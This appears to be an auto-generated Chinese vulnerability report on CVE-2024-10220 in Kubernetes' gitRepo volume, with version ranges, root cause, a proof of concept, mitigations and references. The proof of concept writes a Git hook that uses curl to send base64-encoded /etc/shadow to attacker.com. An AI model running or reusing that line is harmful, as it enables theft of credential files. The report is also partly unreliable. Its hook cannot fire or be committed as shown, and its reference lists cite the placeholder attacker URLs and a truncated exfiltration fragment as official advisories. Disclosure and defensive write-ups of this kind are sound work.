一、漏洞简介¶
1.1 漏洞背景¶
Kubernetes 的 gitRepo 卷类型允许 Pod 在启动时从 Git 仓库克隆代码。该功能已被弃用,但仍在某些集群中使用。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2024-10220 |
| 危害等级 | HIGH / 8.1 |
| 漏洞类型 | gitRepo命令执行 |
| 披露时间 | 2024-11-22 |
| 影响组件 | Kubernetes |
- CVE编号: CVE-2024-10220
- 危害等级: 高危 (High)
- CVSS评分: 8.1
- CVSS向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- 漏洞类型: 命令注入
- 发现者: Imre Rad
补充核验信息:公开时间:2024-11-22;NVD 评分:8.1(HIGH);CWE:CWE-22。
二、影响范围¶
2.1 受影响的版本¶
- kubelet v1.30.0 - v1.30.2
- kubelet v1.29.0 - v1.29.6
- kubelet v1.28.0 - v1.28.11
2.2 不受影响的版本¶
- kubelet v1.31.0+
- kubelet v1.30.3+
- kubelet v1.29.7+
- kubelet v1.28.12+
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 攻击者具有创建 Pod 的权限
- Pod 使用 in-tree gitRepo 卷
- 目标仓库包含恶意 hooks 文件夹
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
该漏洞利用 gitRepo 卷类型中的 hooks 文件夹。攻击者可以: 1. 创建一个包含恶意 Git hooks 的仓库 2. 配置 Pod 使用 gitRepo 卷克隆该仓库 3. kubelet 在克隆过程中执行恶意 hooks 中的命令 4. 命令在容器边界外执行
3.2 源码层面的根因分析(结合源码与补丁对比)¶
问题代码位于 kubelet 的 gitRepo 卷处理逻辑:
// pkg/volume/git_repo/git_repo.go
func (b *gitRepoVolumeBuilder) SetUp() error {
// ... 克隆仓库 ...
// 未能正确验证目录深度,允许访问 .git/hooks
}
修复方案限制了目录深度为最多1级,防止访问 .git/hooks 目录。
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 创建恶意 Git 仓库
mkdir evil-repo && cd evil-repo
git init
# 创建恶意 pre-commit hook
mkdir -p .git/hooks
cat > .git/hooks/pre-commit << 'EOF'
#!/bin/bash
# 在容器边界外执行命令
curl http://attacker.com/exfil?data=$(cat /etc/shadow | base64)
EOF
chmod +x .git/hooks/pre-commit
git add . && git commit -m "evil"
4.2 PoC 演示与测试过程¶
apiVersion: v1
kind: Pod
metadata:
name: gitrepo-pod
spec:
containers:
- name: test
image: busybox
command: ["sleep", "3600"]
volumeMounts:
- name: git-volume
mountPath: /git
volumes:
- name: git-volume
gitRepo:
repository: "https://github.com/attacker/evil-repo.git"
directory: ".git" # 触发漏洞的路径
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级 kubelet 到修复版本: - v1.31.0+ - v1.30.3+ - v1.29.7+ - v1.28.12+
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
推荐方案:使用 initContainer 替代 gitRepo 卷
apiVersion: v1
kind: Pod
metadata:
name: git-sync-pod
spec:
initContainers:
- name: git-sync
image: alpine/git
command:
- git
- clone
- https://github.com/safe/repo.git
- /git
volumeMounts:
- name: git-volume
mountPath: /git
containers:
- name: app
image: myapp
volumeMounts:
- name: git-volume
mountPath: /app
volumes:
- name: git-volume
emptyDir: {}
检测命令:
# 检测使用 gitRepo 卷的 Pod
kubectl get pods --all-namespaces -o json | \
jq '.items[] | select(.spec.volumes[].gitRepo.directory | endswith("/.git")) |
{name: .metadata.name, namespace: .metadata.namespace}'
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://github.com/attacker/evil-repo.git"
- https://github.com/safe/repo.git
- https://github.com/kubernetes/kubernetes/issues/128885
- https://github.com/kubernetes/kubernetes/pull/124531
- https://gist.github.com/tallclair/849601a16cebeee581ef2be50c351841
6.2 其他技术参考资料¶
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2024-10220
- CVE:https://www.cve.org/CVERecord?id=CVE-2024-10220
- http://www.openwall.com/lists/oss-security/2024/11/20/1
- https://github.com/kubernetes/kubernetes/issues/128885
- https://groups.google.com/g/kubernetes-security-announce/c/ptNgV5Necko
- http://attacker.com/exfil?data=$(cat
- https://github.com/attacker/evil-repo.git"
- https://github.com/safe/repo.git